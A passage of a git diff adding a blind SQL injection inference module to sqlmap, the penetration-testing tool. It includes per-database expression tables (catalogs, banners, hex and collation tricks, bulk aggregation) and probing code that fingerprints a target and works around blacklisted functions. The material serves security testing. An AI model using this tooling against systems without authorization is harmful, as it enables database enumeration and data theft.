"UPPER(TO_HEX(CAST({expr} AS BYTES)))"), # BigQuery/Spanner +) + + +# uppercase hex alphabet the nibble reader walks over +_HEXDIGITS = "0123456789ABCDEF" + + +# cap on a single char's hex length (UTF-32 = 8 bytes = 16 nibbles) +_MAX_HEX_CHAR_NIBBLES = 16 + + +# hex encodings of 'q' (0x71) -> the text codec that decodes them; distinguishes +# single-byte (utf-8/ascii) from UTF-16 BE/LE so the dump decoder reads the right one +_HEX_Q_ENCODINGS = (("71", "utf-8"), ("0071", "utf-16-be"), ("7100", "utf-16-le")) + + +# the only code points a hex-framed dump payload can contain (hex digits + N/V markers +# + the ',' delimiter); lets that value extract via a tiny bisection alphabet +_HEX_PAYLOAD_CODES = sorted(set(ord(c) for c in ",0123456789ABCDEFNV")) + + +# force a byte-ordered, case/accent-sensitive comparison of {x} even where the default +# collation is case-insensitive (SQL Server, MySQL _ci) or locale-linguistic (PostgreSQL) +_BINWRAP = ( + ("collate_c", "({x}) COLLATE \"C\""), # PostgreSQL/Redshift/Greenplum/CockroachDB/Vertica + ("collate_bin2", "({x}) COLLATE Latin1_General_BIN2"), # SQL Server/Sybase ASE + ("collate_mysqlbin", "({x}) COLLATE utf8mb4_bin"), # MySQL/MariaDB/TiDB/Doris/StarRocks + ("binary_op", "BINARY ({x})"), # MySQL (operator form) + ("cast_bytea", "CAST(({x}) AS bytea)"), # PostgreSQL family + ("cast_varbinary", "CAST(({x}) AS VARBINARY(8000))"), # SQL Server/DB2 + ("cast_blob", "CAST(({x}) AS BLOB)"), # SQLite/Firebird/Derby + ("nlssort", "NLSSORT(({x}),'NLS_SORT=BINARY')"), # Oracle + ("raw", "UTL_RAW.CAST_TO_RAW({x})"), # Oracle (RAW bytewise) +) + + +# aggregate column {col} across all rows into ONE delimited string (one-shot bulk pull) +_BULK_AGG = ( + ("group_concat", "GROUP_CONCAT({col})"), # MySQL/MariaDB/SQLite/H2/HSQLDB/CUBRID/Doris/StarRocks + ("string_agg", "STRING_AGG(CAST({col} AS VARCHAR(4000)),',')"), # PostgreSQL/SQLServer2017+/Snowflake/Spanner/HANA/DuckDB/Cockroach/Greenplum/BigQuery + ("listagg_ovf", "LISTAGG({col},',' ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY {col})"), # Oracle 12.2+/graceful + ("listagg", "LISTAGG({col},',') WITHIN GROUP (ORDER BY {col})"), # Oracle/DB2/Vertica/Redshift/Altibase + ("array_agg", "ARRAY_TO_STRING(ARRAY_AGG({col}),',')"), # PostgreSQL/Presto/Trino/CrateDB + ("list_fb", "LIST({col})"), # Firebird (returns BLOB) + ("xmlagg", "RTRIM(XMLAGG(XMLELEMENT(NAME \"E\",{col},',').EXTRACT('//text()')))"), # Teradata/DB2 (SQL/XML NAME kw) +) + + +# FROM-suffix a bare scalar SELECT needs (bare = none); a non-bare match fingerprints the family +_DUAL = ( + ("bare", ""), # MySQL/PostgreSQL/SQLite/SQLServer/Snowflake/... + ("DUAL", " FROM DUAL"), # Oracle / SAP MaxDB / Altibase / CUBRID + ("SYSIBM.SYSDUMMY1", " FROM SYSIBM.SYSDUMMY1"), # IBM Db2 / Apache Derby + ("RDB$DATABASE", " FROM RDB$DATABASE"), # Firebird + ("DUMMY", " FROM DUMMY"), # SAP HANA + ("SYSMASTER:SYSDUAL", " FROM SYSMASTER:SYSDUAL"), # Informix + ("VALUES", " FROM (VALUES(1)) t"), # HSQLDB / standard + ("system.onerow", " FROM system.onerow"), # Mimer SQL +) + + +# which product(s) a non-bare _DUAL match implies (for the identify() evidence trail) +_DUAL_IMPLIES = { + "DUAL": "Oracle / MaxDB / Altibase / CUBRID", + "SYSIBM.SYSDUMMY1": "IBM Db2 / Apache Derby", + "RDB$DATABASE": "Firebird", + "DUMMY": "SAP HANA", + "SYSMASTER:SYSDUAL": "Informix", + "VALUES": "HSQLDB / SQL-standard", + "system.onerow": "Mimer SQL", +} + + +# version-banner probes: (label, expr, product, implies_product). engine-specific first; +# implies_product=False marks generic banners where only the banner TEXT names the product +_BANNERS = ( + ("H2VERSION()", "H2VERSION()", "H2", True), + ("SQLITE_VERSION()", "SQLITE_VERSION()", "SQLite", True), + ("DATABASE_VERSION()", "DATABASE_VERSION()", "HSQLDB", True), + ("CURRENT_VERSION()", "CURRENT_VERSION()", "Snowflake", True), + ("product_component_version", "(SELECT version FROM product_component_version WHERE ROWNUM=1)", "Oracle", True), # low-priv Oracle + ("v$version", "(SELECT banner FROM v$version WHERE ROWNUM=1)", "Oracle", True), # needs SELECT_CATALOG_ROLE + ("rdb$get_context", "(SELECT rdb$get_context('SYSTEM','ENGINE_VERSION') FROM rdb$database)", "Firebird", True), + ("SYS.M_DATABASE", "(SELECT VERSION FROM SYS.M_DATABASE)", "SAP HANA", True), + ("$ZVERSION", "$ZVERSION", "InterSystems Cache/IRIS", True), + ("SYS.SYSTABLES", "(SELECT DBINFO('VERSION','FULL') FROM systables WHERE tabid=1)", "Informix", True), + ("@@VERSION", "@@VERSION", None, False), + ("VERSION()", "VERSION()", None, False), + ("version()", "version()", None, False), +) + + +# product names searched for INSIDE a banner string; forks listed BEFORE their parents +# (e.g. MariaDB before MySQL) so the more specific name wins +_BANNER_KEYWORDS = ( + "Microsoft SQL Server", + "CockroachDB", "Redshift", "Greenplum", "Vertica", "PostgreSQL", + "TiDB", "Percona", "MariaDB", "MySQL", + "Oracle", "SQLite", "SAP HANA", "DB2", "Firebird", "Snowflake", + "Presto", "Trino", "ClickHouse", "H2", "HSQLDB", "MonetDB", "CrateDB", "Informix", +) + + +# BYTE-length of {expr} (distinct from _LENGTH's character count; for binary-safe sizing) +_BYTELEN = ( + ("OCTET_LENGTH", "OCTET_LENGTH({expr})"), + ("DATALENGTH", "DATALENGTH({expr})"), + ("LENGTHB", "LENGTHB({expr})"), +) + + +# cast an arbitrary scalar (int/date/binary) {expr} to text so it can be substringed +_TEXTCAST = ( + ("cast_varchar", "CAST(({expr}) AS VARCHAR(4000))"), + ("cast_text", "CAST(({expr}) AS TEXT)"), + ("cast_char", "CAST(({expr}) AS CHAR)"), + ("cast_varchar2", "CAST(({expr}) AS VARCHAR2(4000))"), + ("to_char", "TO_CHAR({expr})"), + ("convert_varchar", "CONVERT(VARCHAR(4000),({expr}))"), + ("cast_string", "CAST(({expr}) AS STRING)"), + ("cast_nvarchar", "CAST(({expr}) AS NVARCHAR(4000))"), +) + + +# substitute {fallback} when {expr} IS NULL +_COALESCE = ( + ("COALESCE", "COALESCE({expr},{fallback})"), + ("IFNULL", "IFNULL({expr},{fallback})"), + ("NVL", "NVL({expr},{fallback})"), + ("ISNULL", "ISNULL({expr},{fallback})"), + ("case", "CASE WHEN ({expr}) IS NULL THEN {fallback} ELSE ({expr}) END"), +) + + +# expressions that yield the current user / database-or-schema / version, per kind +_IDENTITY = { + "user": ( + "CURRENT_USER", "CURRENT_USER()", "USER", "USER()", "SYSTEM_USER", + "SUSER_NAME()", "USER_NAME()", "USERNAME()", "currentUser()", + ), + # the CURRENT namespace used to scope table/column lookups. prefer the SCHEMA + # functions: on schema-based engines (h2/hsqldb/derby/pg) the catalog's scope + # column is the SCHEMA (PUBLIC/APP/public), NOT the database name (h2 DATABASE() + # is 'TEST' but its tables live in schema 'PUBLIC'). where db==schema (MySQL), + # SCHEMA() returns the same value, so nothing regresses. + "database": ( + "CURRENT_SCHEMA()", "current_schema()", "CURRENT_SCHEMA", "current_schema", + "SCHEMA_NAME()", "SCHEMA()", "CURRENT SCHEMA", "DATABASE()", "DB_NAME()", "currentDatabase()", + ), # SCHEMA_NAME() = SQL Server's schema (dbo), so tables scope+qualify as schema.table (e.g. "dbo"."users"); its DB_NAME() ('master') is NOT a valid 2-part schema prefix + "version": ( + "VERSION()", "version()", "@@VERSION", "SQLITE_VERSION()", + "DATABASE_VERSION()", "H2VERSION()", "CURRENT_VERSION()", + "(SELECT banner FROM v$version WHERE ROWNUM=1)", # Oracle + "(SELECT version FROM v$instance)", # Oracle alt + ), +} + + +# table catalogs: (probe-name, family, {kind: (name_col, source, filter)}). the first +# whose COUNT(*) succeeds both enables enumeration and fingerprints the DBMS family +_CATALOGS = ( + ("sqlite_master", "SQLite", + {"table": ("tbl_name", "sqlite_master", "type='table'")}), + ("SYS.ALL_TABLES", "Oracle", # exclude recyclebin objects (dropped tables linger as + {"table": ("TABLE_NAME", "SYS.ALL_TABLES", "TABLE_NAME NOT LIKE 'BIN$%'"), # BIN$... in ALL_TABLES) - idea from SchemaCrawler + "schema": ("OWNER", "SYS.ALL_TABLES", None)}), + ("sys.summits", "CrateDB", # CrateDB signature table (mountain summits); MUST precede + {"table": ("table_name", "information_schema.tables", None), # pg_catalog (CrateDB is PG-wire -> was mis-ID'd PostgreSQL + collided with its system `users`) + "schema": ("table_schema", "information_schema.tables", None)}), + ("pg_catalog.pg_tables", "PostgreSQL-family", + {"table": ("tablename", "pg_catalog.pg_tables", None), + "schema": ("schemaname", "pg_catalog.pg_tables", None)}), + ("master..sysdatabases", "MSSQL/Sybase", + {"database": ("name", "master..sysdatabases", None), + "schema": ("name", "sys.schemas", None), + "table": ("name", "sys.tables", None)}), + ("RDB$RELATIONS", "Firebird", + {"table": ("TRIM(RDB$RELATION_NAME)", "RDB$RELATIONS", "RDB$SYSTEM_FLAG=0")}), # user tables only; TRIM the CHAR(63) padding + ("syscat.tables", "IBM DB2", + {"table": ("tabname", "syscat.tables", None)}), + ("sys._tables", "MonetDB", # MonetDB-unique (underscore); MUST precede SYS.OBJECTS, + {"table": ("name", "sys._tables", "system=false")}), # which MonetDB ALSO has -> was mis-ID'd as SAP HANA + ("SYS.OBJECTS", "SAP HANA", + {"table": ("OBJECT_NAME", "SYS.OBJECTS", "OBJECT_TYPE='TABLE'")}), + ("SYS.SYSTABLES", "Apache Derby", + {"table": ("TABLENAME", "SYS.SYSTABLES", "TABLETYPE='T'")}), # Derby native catalog (user tables) + ("SYSIBM.SYSTABLES", "DB2/Derby", + {"table": ("NAME", "SYSIBM.SYSTABLES", None)}), + ("db_class", "CUBRID", # CUBRID-unique catalog (object-oriented heritage); + {"table": ("class_name", "db_class", "is_system_class='NO'")}), # else it matched nothing -> brute-forced blindly + went unnamed + ("systables", "Informix", # bare `systables` is Informix-specific (others are SYS./SYSIBM.-qualified); + {"table": ("tabname", "systables", "tabid>=100 AND tabtype='T'")}), # tabid>=100 = user objects, tabtype='T' = base tables + ("system.tables", "ClickHouse", # precede INFORMATION_SCHEMA (CH has both); scope to the + {"table": ("name", "system.tables", "database=currentDatabase()")}), # current db so its own system.* tables (incl a `users`!) don't pollute + ("INFORMATION_SCHEMA.TABLES", "ANSI (MySQL/MSSQL/PG/...)", + {"table": ("table_name", "INFORMATION_SCHEMA.TABLES", None), + "schema": ("table_schema", "INFORMATION_SCHEMA.TABLES", None)}), +) + + +# per-catalog column enumeration: (name_col, source, filter) where filter has one %s +# for the (literal) table name; matched by the catalog chosen above +# (name_col, source, where-template-with-one-%s, ordinal_col); the 4th column is the +# catalog's declared column position, used to return columns in DEFINITION order (else +# they come out alphabetical); a wrong/absent one just degrades to alphabetical +_COLUMN_SPECS = { + "sqlite_master": ("name", "pragma_table_info(%s)", None, "cid"), + "SYS.ALL_TABLES": ("column_name", "SYS.ALL_TAB_COLUMNS", "table_name=%s", "COLUMN_ID", "OWNER"), # Oracle scopes by OWNER, not table_schema + "pg_catalog.pg_tables": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"), + "sys.summits": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"), # CrateDB (schema-scoped by columns()) + "master..sysdatabases": ("name", "syscolumns", "id=OBJECT_ID(%s)", "colid"), + "RDB$RELATIONS": ("TRIM(RDB$FIELD_NAME)", "RDB$RELATION_FIELDS", "RDB$RELATION_NAME=%s", "RDB$FIELD_POSITION"), # TRIM the CHAR padding + "syscat.tables": ("colname", "syscat.columns", "tabname=%s", "colno"), + "db_class": ("attr_name", "db_attribute", "class_name=%s", "def_order"), # CUBRID + "systables": ("colname", "syscolumns", "tabid=(SELECT tabid FROM systables WHERE tabname=%s)", "colno"), # Informix + "sys._tables": ("name", "sys._columns", "table_id=(SELECT id FROM sys._tables WHERE name=%s AND system=false)", "number"), # MonetDB + "system.tables": ("name", "system.columns", "table=%s AND database=currentDatabase()", "position"), # ClickHouse (scope to current db) + "SYS.OBJECTS": ("column_name", "SYS.TABLE_COLUMNS", "table_name=%s", "POSITION"), + "SYS.SYSTABLES": ("COLUMNNAME", "SYS.SYSCOLUMNS", "REFERENCEID=(SELECT TABLEID FROM SYS.SYSTABLES WHERE TABLENAME=%s)", "COLUMNNUMBER"), + "SYSIBM.SYSTABLES": ("COLUMNNAME", "SYSIBM.SYSCOLUMNS", "TBNAME=%s", "COLNO"), + "INFORMATION_SCHEMA.TABLES": ("column_name", "INFORMATION_SCHEMA.COLUMNS", "table_name=%s", "ordinal_position"), +} + + +# pattern-match floor operators: (op, multi-char wildcard, single-char wildcard); GLOB +# (case-sensitive, literal '_') is preferred over LIKE +_PREFIX = ( + ("GLOB", "*", "?"), # SQLite: case-SENSITIVE, and '_' is literal (preferred) + ("LIKE", "%", "_"), # near-universal core SQL (often case-insensitive) + ("SIMILAR TO", "%", "_"), # SQL:2003 (PostgreSQL/H2/HSQLDB/Vertica): last-resort floor when LIKE+GLOB are both filtered; SAME %/_ wildcards as LIKE but its other regex metachars need escaping (see _SIMILAR_META) +) + + +# characters SIMILAR TO treats as regex metacharacters (beyond the %/_ wildcards): a +# literal one in the extracted value must be backslash-escaped or the pattern mismatches +_SIMILAR_META = frozenset("%_|*+?(){}[].\\^$") + + +# identifier quoting styles: (open, close); probed against a known-present table +_IDENT_QUOTE = ( + ('"', '"'), # ANSI: PostgreSQL/Oracle/SQLite/DB2/Firebird/HANA/Snowflake/... + ('`', '`'), # MySQL/MariaDB/TiDB + ('[', ']'), # SQL Server/Access/Sybase +) + + +# primary/unique key lookup per catalog: (source, table_col, name_col, constraint_filter); +# the preferred row-ordering key for dump() +# ANSI INFORMATION_SCHEMA key lookup, shared by every catalog whose engine also exposes +# it (MSSQL/Sybase are detected via master..sysdatabases but DO have INFORMATION_SCHEMA) +_ANSI_KEY_SPEC = ( + "INFORMATION_SCHEMA.KEY_COLUMN_USAGE", "table_name", "column_name", + "constraint_name IN (SELECT constraint_name FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS " + "WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))") + +_KEY_SPECS = { + "INFORMATION_SCHEMA.TABLES": _ANSI_KEY_SPEC, + "master..sysdatabases": _ANSI_KEY_SPEC, # MSSQL/Sybase: rowid-less, so a PK keyset is the clean ordered walk + "pg_catalog.pg_tables": ( + "information_schema.key_column_usage", "table_name", "column_name", + "constraint_name IN (SELECT constraint_name FROM information_schema.table_constraints " + "WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))"), + "SYS.ALL_TABLES": ( + "SYS.ALL_CONS_COLUMNS", "table_name", "column_name", + "constraint_name IN (SELECT constraint_name FROM SYS.ALL_CONSTRAINTS " + "WHERE constraint_type IN ('P','U'))"), +} + + +# physical row-id pseudo-columns: (name, expr, unit); fallback row-ordering for dump() +_ROWID = ( + ("rowid", "ROWID", "int"), # SQLite (integer); Oracle (opaque string) - unit re-measured + ("_ROWID_", "_ROWID_", "int"), # SQLite alias + ("rowid_oracle", "ROWID", "text"), # Oracle pseudo-column (opaque, orderable) + ("ctid", "ctid", "text"), # PostgreSQL tuple id (page,tuple): MIN-aggregatable + orderable, so a PK-less table's exact-duplicate rows survive the dump instead of collapsing + ("rrn", "RRN(%s)", "int"), # IBM Db2 relative record number +) + + +# row-ids whose comparison bound must be a QUOTED literal, not a CHR()||... build: their +# type (e.g. PostgreSQL 'tid') coerces from an unknown-typed literal ('(0,1)') but NOT +# from a text-typed concatenation, so ctid=CHR(40)||... errors while ctid='(0,1)' works +_ROWID_LITBOUND = frozenset(("ctid",)) + + +# printable ASCII (0x20-0x7E): the equality/ordinal char-scan alphabet +_PRINTABLE = "".join(chr(_) for _ in range(32, 127)) + + +# _PRINTABLE sorted by code point (for ordinal/collation bisection) +_PRINTABLE_SORTED = sorted(_PRINTABLE) + + +# English-frequency-ordered charset (common letters first) so the equality scan needs +# fewer probes on real text; completed with any remaining printable chars below +_FREQ_ORDER = ("etaoinshrdlcumwfgypbvkjxqz" + "0123456789_ .-,ETAOINSHRDLCUMWFGYPBVKJXQZ") +_FREQ_ORDER += "".join(c for c in _PRINTABLE if c not in _FREQ_ORDER) + + +# highest Unicode code point: the upper bound for code-mode bisection +_UNICODE_MAX = 0x10FFFF + + +# U+FFFD REPLACEMENT CHARACTER: the explicit "could not recover this char" marker +# (extraction emits it instead of ever silently substituting/dropping a character) +_REPL = u"\uFFFD" + + +# py2/py3 shim: integer code point -> single char +try: + _unichr = unichr # py2 +except NameError: + _unichr = chr # py3 + +# py2/py3 shim: the py2 unicode text type (str on py3) +try: + _unicode = unicode # py2 +except NameError: + _unicode = str # py3 + + +def _native(s): + # embed a literal as the native str type: on py2 a unicode value is encoded to + # utf-8 bytes so the byte-string SQL templates ('{expr}'.format(...)) don't force + # an ascii encode of non-ASCII data; on py3 str is already unicode-clean. + if str is bytes and isinstance(s, _unicode): # py2 only + return s.encode("utf-8") + return s + + +__all__ = [_n for _n in list(globals()) if not _n.startswith('__') and _n != 'binascii'] diff --git a/extra/esperanto/discovery.py b/extra/esperanto/discovery.py new file mode 100644 index 00000000000..9b5a24b9e90 --- /dev/null +++ b/extra/esperanto/discovery.py @@ -0,0 +1,484 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .atlas import _BANNER_KEYWORDS +from .atlas import _BANNERS +from .atlas import _BINWRAP +from .atlas import _BYTELEN +from .atlas import _CATALOGS +from .atlas import _CHARCODE +from .atlas import _CHARFROM +from .atlas import _COALESCE +from .atlas import _CONCAT +from .atlas import _DUAL +from .atlas import _DUAL_IMPLIES +from .atlas import _HEXFN +from .atlas import _IDENTITY +from .atlas import _LENGTH +from .atlas import _PREFIX +from .atlas import _SUBSTRING +from .atlas import _TEXTCAST +from .records import Cap +from .records import OracleUndecided + + +class _Discovery(object): + """_Discovery + + probe the target to build the Dialect; populates self.dialect, never extracts data.""" + + def discover(self): + with self._probePhase(): + return self._discover() + + def _discover(self): + if not self._sanity(): + raise RuntimeError("oracle does not behave (1=1 true / 1=2 false failed)") + try: + self._discoverSubstring() + except RuntimeError: + # MAX-CONSTRAINT path: every substring fn is blacklisted. fall back to a + # pure pattern-match extractor (LIKE/GLOB) that needs no SUBSTR/LENGTH/ + # code/hex fn. + if self._fallbackPrefix(): + return self.dialect + raise + try: + self._discoverLength() + except RuntimeError: + # no length fn - derive length from the substring's end behavior, provided + # that end is observable (empty/NULL). one more laddered capability, so a + # backend with substring but no CHAR_LENGTH/LENGTH/LEN still extracts. + # if the end isn't observable (e.g. LEFT/RIGHT), drop to the pattern floor. + if self.dialect.substring.get("beyond_end") not in ("empty", "null-or-error"): + if self._fallbackPrefix(): + return self.dialect + raise + self.dialect.notes.append("no length fn; length derived from substring end") + self._discoverBytelen() + self._discoverConcat() + self._fixupLength() + self._discoverTextcast() + self._discoverCoalesce() + self._discoverCompare() + self._discoverComparator() + self._discoverCharfrom() + self._discoverDual() + self._discoverIdentity() + self._discoverCatalog() + self._checkCompat() + self._discovered = True + return self.dialect + + def _fallbackPrefix(self): + # pure LIKE/GLOB pattern-match floor: usable when there is no workable + # substring+length combo (substring absent, or present but unmeasurable). + # only the pattern-INDEPENDENT capabilities (charfrom/dual/catalog use no + # SUBSTR) are discovered; concat/compare/etc. stay None. + if not self._discoverPrefix(): + return False + self.dialect.substring = None # route retrieval to the pattern-match path + self.dialect.length = None + self.dialect.compare = "like" + self._discoverCharfrom() + self._discoverDual() + self._discoverCatalog() + self._discovered = True + return True + + def _discoverPrefix(self): + # LIKE/GLOB pattern match: 'sqlmap' 'sq' true, 'zz' false. + # also measure case-sensitivity ('a' 'A'). + for op, multi, single in _PREFIX: + if self._ask("('sqlmap') %s 'sq%s'" % (op, multi)) and \ + not self._ask("('sqlmap') %s 'zz%s'" % (op, multi)): + ci = self._ask("('a') %s 'A'" % op) + self.dialect.prefix = Cap(op, "%s", multi=multi, single=single, case_insensitive=ci) + return op + return None + + def identify(self): + """Fuse catalog family + required dual-table + version banner (+ behavioral + tells) into a best-guess product with an evidence trail. Run after + discover(). This is the CTF step: name the abomination on the other end.""" + d = self.dialect + if not self._discovered: + self.discover() + ev = [] + if d.catalog: + ev.append(("catalog = %s" % d.catalog, d.family)) + if d.dual and d.dual[0] != "bare": + ev.append(("bare SELECT needs FROM %s" % d.dual[0], _DUAL_IMPLIES.get(d.dual[0], "?"))) + product = None + # best-effort naming: on a permission/charset wall a probe may be undecided; + # degrade to whatever evidence was gathered rather than crash the verdict + try: + # cheap behavioral tell: || is logical OR -> MySQL family (one probe, no banner) + if d.concat and d.concat[0] != "pipes" and self._ask("(%s)=1" % _CONCAT[0][1].format(a="1", b="1")): + ev.append(("|| is logical OR (not concat)", "MySQL family")) + product = "MySQL" + # the version banner is the EXPENSIVE part (blind-reading a long string), so + # it is paid for ONLY when the catalog family can't name the product on its + # own - i.e. the shared INFORMATION_SCHEMA / unknown-catalog case. A specific + # catalog (SQLite/Oracle/PostgreSQL/MSSQL/...) names the product for free, and + # --banner reads the full version explicitly via banner(). + if product is None and (not d.family or "ANSI" in d.family): + val, implied = self._probeBanner() + if val: + ev.append(("banner", val)) + product = self._nameFromBanner(val) or implied + if product is None and self._hasChars("@@version_comment"): + comment = self.extract("@@version_comment", limit=64) + if comment: + ev.append(("@@version_comment", comment)) + product = self._nameFromBanner(comment) + except OracleUndecided: + ev.append(("product identification", "stopped (oracle undecided - permission/charset wall)")) + + d.product = product or d.family + d.evidence = ev + return {"product": d.product, "version": d.version, "family": d.family, + "dual": d.dual[0] if d.dual else None, "compare": d.compare, + "evidence": ev} + + def _probeBanner(self): + # blind-read the version string (expensive - a long string over the oracle). + # caches on the dialect; returns (version, implied_product) - some exprs imply a + # product just by existing (e.g. H2VERSION() -> H2) + for _label, expr, prod, implies in _BANNERS: + if self._hasChars(expr): + val = self.extract(expr, limit=96) + if val: + self.dialect.version = val + return val, (prod if implies else None) + return None, None + + def banner(self): + """The --banner action: the full version string, read on demand ONLY. The + fingerprint never triggers this - naming the product (identify) is cheap and + does not need the banner unless the catalog family is ambiguous.""" + if not self._discovered: + self.discover() + if self.dialect.version is None: + try: + self._probeBanner() + except OracleUndecided: + pass + return self.dialect.version + + @staticmethod + def _nameFromBanner(text): + low = text.lower() + for kw in _BANNER_KEYWORDS: + if kw.lower() in low: + return kw + return None + + def _discoverSubstring(self): + for name, tmpl in _SUBSTRING: + g = lambda e, p, ln: tmpl.format(expr=e, pos=p, len=ln) + base = None + if self._ask("%s='q'" % g("'sqlmap'", 2, 1)) and not self._ask("%s='z'" % g("'sqlmap'", 2, 1)): + base = 1 + elif self._ask("%s='q'" % g("'sqlmap'", 1, 1)) and self._ask("%s='s'" % g("'sqlmap'", 0, 1)): + base = 0 + if base is None: + continue + self.dialect.substring = Cap(name, tmpl, index_base=base) + # base detection above CONFIRMS the substring fn works; the property + # measurements below are best-effort and MUST NOT discard it - a probe the + # oracle can't decide leaves the property at a safe default, never aborts. + props = self.dialect.substring.props + try: + props["beyond_end"] = self._edgeBehavior(self._sub("'ABCDE'", 6, 1)) + props["zero_length"] = self._edgeBehavior(self._sub("'ABCDE'", 1, 0)) + props["unit"] = self._substringUnit() + except OracleUndecided: + pass + props.setdefault("beyond_end", "unknown") + props.setdefault("zero_length", "unknown") + props.setdefault("unit", "unknown") + return name + self.dialect.substring = None + raise RuntimeError("no working substring function found") + + def _codeCharTmpl(self): + # a code->char template (CHAR/CHR/NCHAR), probed ASCII-only and cached. lets + # the unicode PROPERTY probes build a multibyte test char server-side instead + # of pushing a raw non-ASCII byte through the URL/app/DBMS encoding layers. + if self._codeTmpl is None: + self._codeTmpl = False + for _, tmpl in _CHARFROM: + if self._ask("%s='a'" % tmpl.format(code=97)) and not self._ask("%s='b'" % tmpl.format(code=97)): + self._codeTmpl = tmpl + break + return self._codeTmpl or None + + def _substringUnit(self): + # char vs byte, ASCII-only + self-referential: SUBSTR(,1,1) returns the + # whole char (== ) if char-based, or a partial byte (!= ) if byte-based. + # is a multibyte codepoint built from its numeric code (no raw bytes sent). + cf = self._codeCharTmpl() + if not cf: + return "unknown" + mb = cf.format(code=0x20AC) # U+20AC (multibyte in UTF-8) + if self._ask("%s=%s" % (self._sub(mb, 1, 1), mb)): + return "characters" + return "bytes-or-unknown" + + def _edgeBehavior(self, expr): + if self._ask("%s=''" % expr): + return "empty" + if not self._ask("%s IS NOT NULL" % expr): + return "null-or-error" + return "other" + + def _discoverLength(self): + # prefer a CHARACTER-count fn (pass 1); fall back to any working fn (pass 2) + # so length stays in the same unit as the char-indexed substring + for prefer_chars in (True, False): + for name, tmpl in _LENGTH: + f = lambda s: tmpl.format(expr=s) + if not (self._ask("%s=1" % f("'A'")) and self._ask("%s=2" % f("'AB'"))): + continue + try: + unit = self._lengthUnit(f) + except OracleUndecided: + unit = "unknown" + if prefer_chars and unit != "characters": + continue + trailing = self._ask("%s=2" % f("'A '")) # preserves trailing space? + empty_null = not self._ask("(%s) IS NOT NULL" % f("''")) # LENGTH('') errors/NULL? + self.dialect.length = Cap(name, tmpl, unit=unit, trailing=trailing, + empty_is_null=empty_null) + return name + self.dialect.length = None + raise RuntimeError("no working length function found") + + def _lengthUnit(self, f): + # ASCII-only: measure the length of a multibyte char built from its code. + # 1 => character-counting, >=2 => byte-counting. no raw non-ASCII on the wire. + cf = self._codeCharTmpl() + if not cf: + return "unknown" + mb = cf.format(code=0x20AC) + if self._ask("%s=1" % f(mb)): + return "characters" + if self._ask("%s>=2" % f(mb)): + return "bytes" + return "unknown" + + def _fixupLength(self): + # a length fn that trims trailing spaces (SQL Server/Sybase LEN) truncates + # any value ending in spaces; rebuild it as LEN(x||'.')-1 with the concat. + L = self.dialect.length + if not L or L.get("trailing"): + return + if self.dialect.concat: + joined = self.dialect.concat[1].format(a="({expr})", b="'.'") + props = dict(L.props, trailing=True) + self.dialect.length = Cap(L.name + "+dot", "(%s)-1" % L[1].format(expr=joined), **props) + self.dialect.notes.append("length fn trims trailing spaces; using %s(x||'.')-1" % L.name) + else: + self.dialect.notes.append("length fn trims trailing spaces and no concat to correct it") + + def _checkCompat(self): + # substring positions and the length count must be in the SAME unit, else + # the per-position walk desyncs on multibyte data + s, ln = self.dialect.substring, self.dialect.length + if s and ln: + su, lu = s.get("unit"), ln.get("unit") + if su == "characters" and lu == "bytes": + self.dialect.notes.append("UNIT MISMATCH: char-indexed substring vs byte-count length - multibyte values may desync") + + def _discoverBytelen(self): + # a *byte*-length fn - distinguished from char length with a multibyte char + # (a char-length fn would report 1). the char is built from its code (ASCII on + # the wire); if it can't be built, the atlas name is trusted on the ASCII check. + cf = self._codeCharTmpl() + mb = cf.format(code=0x20AC) if cf else None + for name, tmpl in _BYTELEN: + try: + if not self._ask("%s=2" % tmpl.format(expr="'AB'")): + continue + if mb and not self._ask("%s>=2" % tmpl.format(expr=mb)): + continue # counts chars, not bytes + except OracleUndecided: + continue + self.dialect.bytelen = Cap(name, tmpl) + return name + + def _discoverTextcast(self): + # a cast that stringifies a number: substr(cast(123),1,1)='1' and the + # negative sign survives (substr(cast(-42),1,1)='-') + for name, tmpl in _TEXTCAST: + c123, cneg = tmpl.format(expr="123"), tmpl.format(expr="-42") + if self._ask("%s='1'" % self._sub(c123, 1, 1)) and \ + self._lenEquals(c123, 3) and \ + self._ask("%s='-'" % self._sub(cneg, 1, 1)): + self.dialect.textcast = Cap(name, tmpl) + return name + + def _discoverCoalesce(self): + # COALESCE(NULL,'X') -> 'X'. whether empty stays empty is a *measured* + # property, not a requirement (on Oracle '' IS NULL, so it becomes 'X'). + for name, tmpl in _COALESCE: + g = lambda e, fb: tmpl.format(expr=e, fallback=fb) + if self._ask("%s='X'" % self._sub(g("NULL", "'X'"), 1, 1)): + empty_distinct = self._lenEquals(g("''", "'X'"), 0) + self.dialect.coalesce = Cap(name, tmpl, empty_distinct=empty_distinct) + return name + + def _discoverDual(self): + # the tableless-SELECT FROM suffix; a non-bare match is a family fingerprint + for name, frm in _DUAL: + if self._ask("(SELECT 1%s)=1" % frm): + self.dialect.dual = Cap(name, frm) + return name + + def _discoverConcat(self): + # test via substring of the joined result to dodge numeric-coercion + # false positives (MySQL 'a'+'b' -> 0, '||' -> logical OR, etc.) + for name, tmpl in _CONCAT: + joined = tmpl.format(a="'sq'", b="'lm'") + if self._ask("%s='l'" % self._sub(joined, 3, 1)) and \ + self._lenEquals(joined, 4): + self.dialect.concat = Cap(name, tmpl) + # function-style concat (CONCAT(a,b)) may be VARIADIC - a flat + # CONCAT(a,b,c,...) beats deeply nested CONCAT(CONCAT(...)) (smaller + # payload, less WAF/URL surface). operators (||/+) split() to "". + func = tmpl.split("(")[0] + if func: + try: + three = "%s('s','q','l')" % func + if self._ask("%s='q'" % self._sub(three, 2, 1)) and self._lenEquals(three, 3): + self.dialect.concat.props["variadic"] = func + except OracleUndecided: + pass + return name + self.dialect.concat = None + self.dialect.notes.append("no concatenation operator discovered") + + def _discoverCompare(self): + # 1) numeric code function - fast, unambiguous bisection + one = self._sub("'sqlmap'", 2, 1) # -> 'q' (code 113 / 0x71) + for name, tmpl in _CHARCODE: + code = tmpl.format(expr=one) + if self._ask("%s=113" % code) and not self._ask("%s=112" % code): + self.dialect.charcode = Cap(name, tmpl, semantics=self._charcodeSemantics(tmpl)) + self.dialect.compare = 